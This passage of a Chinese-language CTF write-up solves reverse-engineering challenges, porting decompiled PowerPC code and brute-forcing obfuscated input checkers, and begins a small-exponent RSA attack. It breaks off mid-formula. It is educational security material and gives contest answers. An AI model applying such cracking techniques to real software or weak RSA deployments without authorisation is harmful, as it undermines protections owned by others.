class="hljs-title">sub_10000824</span><span class="hljs-params">(<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> a1)</span> </span>{  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v1;            <span class="hljs-comment">// r10</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> i;          <span class="hljs-comment">// [sp+74h] [-2Ch]</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> j;          <span class="hljs-comment">// [sp+78h] [-28h]</span>  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v5;            <span class="hljs-comment">// [sp+80h] [-20h]</span>  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v6;            <span class="hljs-comment">// [sp+80h] [-20h]</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> *v7;  <span class="hljs-comment">// [sp+88h] [-18h]</span>  v7 = <span class="hljs-keyword">new</span> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span>[<span class="hljs-number">100000</span>];  v5 = <span class="hljs-number">0LL</span>;  <span class="hljs-keyword">if</span> (a1 &lt;= <span class="hljs-number">0xE8</span>) {    v6 = (a1 + <span class="hljs-number">1337</span>) * a1 + <span class="hljs-number">7331</span>;  } <span class="hljs-keyword">else</span> {    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">0xE9</span>; ++i) {      v7[i] =          (mem[a1 - i - <span class="hljs-number">1</span>] != <span class="hljs-number">0</span>) ? mem[a1 - i - <span class="hljs-number">1</span>] : <span class="hljs-built_in">sub_10000824</span>(a1 - i - <span class="hljs-number">1</span>);      <span class="hljs-keyword">if</span> ((i &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span> &amp;&amp; i != <span class="hljs-number">232</span>) v7[i] = v7[i - <span class="hljs-number">1</span>] - v7[i];    }    <span class="hljs-keyword">for</span> (j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">0xE8</span>; ++j) {      <span class="hljs-keyword">if</span> ((j &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span>)        v1 = v7[j] * v7[j];      <span class="hljs-keyword">else</span>        v1 = v7[j];      v5 += v1;    }    v6 = v5 + <span class="hljs-number">2023LL</span> * v7[<span class="hljs-number">232</span>];  }  <span class="hljs-keyword">delete</span> v7;  mem[a1] = v6;  <span class="hljs-keyword">return</span> v6;}<span class="hljs-type">char</span> ans[<span class="hljs-number">10000</span>];<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> qword_100200E8 = <span class="hljs-built_in">sub_10000824</span>(<span class="hljs-number">0x7331</span>u);  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">0x1A</span>; ++i)    ans[i] = byte_100200B8[i] ^ ((<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> *)&amp;qword_100200E8)[i % <span class="hljs-number">8</span>];  cout &lt;&lt; ans &lt;&lt; endl;  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><p>然而运行结果却是一堆乱码，并不是我们想要的 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_41be09da2badffad539dd7d15babfe9e.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_41be09da2badffad539dd7d15babfe9e.png?width=1920" srcset="/loading.gif" alt=""></p><p>此时离成功只差一步之遥，由于 PowerPC 采用的是 Big Endian（大端序），而我们常用的电脑都是 Little Endian（小端序），因此移植的时候一旦涉及到位运算要小心处理，本题中就需要把 <code>ans[i] = byte_100200B8[i] ^ ((unsigned char *)&amp;qword_100200E8)[i % 8];</code> 修改成 <code>ans[i] = byte_100200B8[i] ^ ((unsigned char *)&amp;qword_100200E8)[7 - i % 8];</code>，从而在小端序电脑上模拟大端序电脑的运行结果。</p><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> byte_100200B8[] = {<span class="hljs-number">0xFD</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xCB</span>, <span class="hljs-number">0xEE</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0xE6</span>,                                 <span class="hljs-number">0x90</span>, <span class="hljs-number">0xFC</span>, <span class="hljs-number">0x68</span>, <span class="hljs-number">0xCD</span>, <span class="hljs-number">0xF4</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0x87</span>,                                 <span class="hljs-number">0xE9</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0xED</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xD7</span>, <span class="hljs-number">0xEA</span>, <span class="hljs-number">0x08</span>,                                 <span class="hljs-number">0xB6</span>, <span class="hljs-number">0xE9</span>, <span class="hljs-number">0x9A</span>, <span class="hljs-number">0xE0</span>, <span class="hljs-number">0x54</span>, <span class="hljs-number">0xDC</span>, <span class="hljs-number">0x00</span>};<span class="hljs-type">long</span> <span class="hljs-type">long</span> mem[<span class="hljs-number">100000</span>];<span class="hljs-function"><span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-title">sub_10000824</span><span class="hljs-params">(<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> a1)</span> </span>{  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v1;            <span class="hljs-comment">// r10</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> i;          <span class="hljs-comment">// [sp+74h] [-2Ch]</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> j;          <span class="hljs-comment">// [sp+78h] [-28h]</span>  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v5;            <span class="hljs-comment">// [sp+80h] [-20h]</span>  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v6;            <span class="hljs-comment">// [sp+80h] [-20h]</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> *v7;  <span class="hljs-comment">// [sp+88h] [-18h]</span>  v7 = <span class="hljs-keyword">new</span> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span>[<span class="hljs-number">100000</span>];  v5 = <span class="hljs-number">0LL</span>;  <span class="hljs-keyword">if</span> (a1 &lt;= <span class="hljs-number">0xE8</span>) {    v6 = (a1 + <span class="hljs-number">1337</span>) * a1 + <span class="hljs-number">7331</span>;  } <span class="hljs-keyword">else</span> {    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">0xE9</span>; ++i) {      v7[i] =          (mem[a1 - i - <span class="hljs-number">1</span>] != <span class="hljs-number">0</span>) ? mem[a1 - i - <span class="hljs-number">1</span>] : <span class="hljs-built_in">sub_10000824</span>(a1 - i - <span class="hljs-number">1</span>);      <span class="hljs-keyword">if</span> ((i &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span> &amp;&amp; i != <span class="hljs-number">232</span>) v7[i] = v7[i - <span class="hljs-number">1</span>] - v7[i];    }    <span class="hljs-keyword">for</span> (j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">0xE8</span>; ++j) {      <span class="hljs-keyword">if</span> ((j &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span>)        v1 = v7[j] * v7[j];      <span class="hljs-keyword">else</span>        v1 = v7[j];      v5 += v1;    }    v6 = v5 + <span class="hljs-number">2023LL</span> * v7[<span class="hljs-number">232</span>];  }  <span class="hljs-keyword">delete</span> v7;  mem[a1] = v6;  <span class="hljs-keyword">return</span> v6;}<span class="hljs-type">char</span> ans[<span class="hljs-number">10000</span>];<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> qword_100200E8 = <span class="hljs-built_in">sub_10000824</span>(<span class="hljs-number">0x7331</span>u);  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">0x1A</span>; ++i)    ans[i] = byte_100200B8[i] ^ ((<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> *)&amp;qword_100200E8)[<span class="hljs-number">7</span> - i % <span class="hljs-number">8</span>];  cout &lt;&lt; ans &lt;&lt; endl;  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><p>再次编译运行即可拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_915e72cef4702b5378f319800ba250e5.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_915e72cef4702b5378f319800ba250e5.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="easymba"><a class="markdownIt-Anchor" href="#easymba"></a> EasyMBA</h3><p>拖进 IDA，根据反汇编结果，只要输入的数据通过四个 checker 即可拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5c382554ffbfe66733fa8337a7b826b0.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5c382554ffbfe66733fa8337a7b826b0.png?width=1920" srcset="/loading.gif" alt=""></p><p><code>checker1()</code> 的逻辑非常简单，可以直接算出正确的输入是 <code>2833100173</code>。</p><p>对于剩下三个 checker，直接写三个 C++ 程序暴力求解正确输入即可。</p><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-function"><span class="hljs-type">bool</span> <span class="hljs-title">checker2</span><span class="hljs-params">(<span class="hljs-type">int</span> a1)</span> </span>{  <span class="hljs-keyword">if</span> (~(<span class="hljs-number">3</span> * (a1 &amp; <span class="hljs-number">0x5427F672</span>) - (a1 | <span class="hljs-number">0xABD8098D</span>) - a1 + <span class="hljs-number">1471157018</span>) ==      <span class="hljs-number">1352221957</span>)    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;  <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;}<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt;= INT_MAX; i++) {    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">checker2</span>(i)) {      cout &lt;&lt; i &lt;&lt; endl;    }  }  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-function"><span class="hljs-type">bool</span> <span class="hljs-title">checker3</span><span class="hljs-params">(<span class="hljs-type">int</span> a1)</span> </span>{  <span class="hljs-keyword">if</span> (a1 &gt; <span class="hljs-number">0x10000000</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;  <span class="hljs-keyword">if</span> (<span class="hljs-number">4</span> * ((~a1 &amp; <span class="hljs-number">0xADFDBC7B</span>) + <span class="hljs-number">2</span> * ~(~a1 | <span class="hljs-number">0xADFDBC7B</span>)) +          <span class="hljs-number">-3</span> * (~a1 | <span class="hljs-number">0xADFDBC7B</span>) + <span class="hljs-number">3</span> * ~(a1 | <span class="hljs-number">0xADFDBC7B</span>) -          ((a1 ^ <span class="hljs-number">0xADFDBC7B</span>) - <span class="hljs-number">10</span> * (a1 &amp; <span class="hljs-number">0xADFDBC7B</span>)) ==      <span class="hljs-number">590670598</span>)    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;  <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;}<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt;= INT_MAX; i++) {    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">checker3</span>(i)) {      cout &lt;&lt; i &lt;&lt; endl;    }  }  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-function"><span class="hljs-type">bool</span> <span class="hljs-title">checker4</span><span class="hljs-params">(<span class="hljs-type">int</span> a1)</span> </span>{  <span class="hljs-keyword">if</span> (a1 &gt; <span class="hljs-number">0x10000000</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;  <span class="hljs-keyword">if</span> (<span class="hljs-number">11</span> * ~(a1 ^ <span class="hljs-number">0xE76EDA24</span>) + <span class="hljs-number">4</span> * ~(~a1 | <span class="hljs-number">0xE76EDA24</span>) -          (<span class="hljs-number">6</span> * (a1 &amp; <span class="hljs-number">0xE76EDA24</span>) + <span class="hljs-number">12</span> * ~(a1 | <span class="hljs-number">0xE76EDA24</span>)) + <span class="hljs-number">-5</span> * a1 -          <span class="hljs-number">2</span> * ~(a1 | <span class="hljs-number">0xCD731B78</span>) - (a1 | <span class="hljs-number">0x328CE487</span>) + <span class="hljs-number">3</span> * (a1 &amp; <span class="hljs-number">0xCD731B78</span>) -          <span class="hljs-number">2</span> * (<span class="hljs-number">-2</span> * (a1 &amp; <span class="hljs-number">0x328CE487</span>) - (a1 | <span class="hljs-number">0x328CE487</span>)) ==      <span class="hljs-number">-979756886</span>)    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;  <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;}<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt;= INT_MAX; i++) {    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">checker4</span>(i)) {      cout &lt;&lt; i &lt;&lt; endl;    }  }  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><p>求出来<code>checker2()</code>的正确输入是 <code>79606647</code>，<code>checker3()</code> 的正确输入是 <code>84381514</code>，<code>checker4()</code> 的正确输入有多个：</p><pre><code class="hljs dns"><span class="hljs-number">48871042</span><span class="hljs-number">48871554</span><span class="hljs-number">48891522</span><span class="hljs-number">48892034</span><span class="hljs-number">53065346</span><span class="hljs-number">53065858</span><span class="hljs-number">53085826</span><span class="hljs-number">53086338</span><span class="hljs-number">69842562</span><span class="hljs-number">69843074</span><span class="hljs-number">69863042</span><span class="hljs-number">69863554</span></code></pre><p>依次尝试发现只有用最后一个，也就是 <code>69863554</code> 才能拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3cf1c0a04bf5c6db4d387059b0451efa.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3cf1c0a04bf5c6db4d387059b0451efa.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="crypto"><a class="markdownIt-Anchor" href="#crypto"></a> Crypto</h2><p>对密码学完全不了解，只好现学现卖，可能有讲得不对的地方。</p><h3 id="baby-rsa"><a class="markdownIt-Anchor" href="#baby-rsa"></a> Baby RSA</h3><p>看到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">e=3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">3</span></span></span></span>，首先考虑小公钥指数攻击，也就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><mroot><mrow><mi>c</mi><mo>+</mo><mi>k</mi><mo>×</mo><mi>N</mi></mrow><mn>3</mn></mroot></mrow><annotation encoding="application/x-tex">m=\sqrt[3]{c+k\times N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.14944500000000005em;"></span><span class="mord sqrt"><span class="root"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.766886em;"><span style="top:-2.944666em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size6 size1 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.890555em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span><span style="top:-2.850555em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"></path></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.14944500000000005em;"><span></span></span></span></span></span></span></span></span> 依次枚举自然数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，然而把 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mn>0</mn><mo separator="true">,</mo><mn>130000000</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[0,130000000]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">1</span><span class="mord">3</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mclose">]</span></span></span></span> 范围内的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 都枚举遍了也没开方开出整数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span>，似乎是因为这道 RSA 有 padding，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span> 的长度为255，导致 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 需要很大，不能通过枚举破解。</p><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">pad</span>(<span class="hljs-params">m</span>):    <span class="hljs-keyword">return</span> m + <span class="hljs-string">b'\x00'</span> * (<span class="hljs-number">255</span> - <span class="hljs-built_in">len</span>(m))</code></pre><p>那么就尝试把 padding 的过程写成数学表达式吧。我们记原本的消息（也就是 flag）为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，经过 padding 之后的消息为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 长度未知，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span> 长度为255。尽管我们不知道原本消息的长度，但我们可以大胆假设一下消息的长度不会超过45，于是干脆假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 长度为45，那么 padding 的过程也就相当于在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 后面补了210个全0的字节（8*210个0比特）。将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>m</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">m_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 看成十进制整数，于是得到这样的关系式：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>m</mi><mo>=</mo><mi>p</mi><mi>a</mi><mi>d</mi><mo stretchy="false">(</mo><msub><mi>m</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><msub><mi>m</mi><mn>0</mn></msub><mo>×</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup></mrow><annotation encoding="application/x-tex">m=pad(m_0)=m_0\times (2^8)^{210}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span 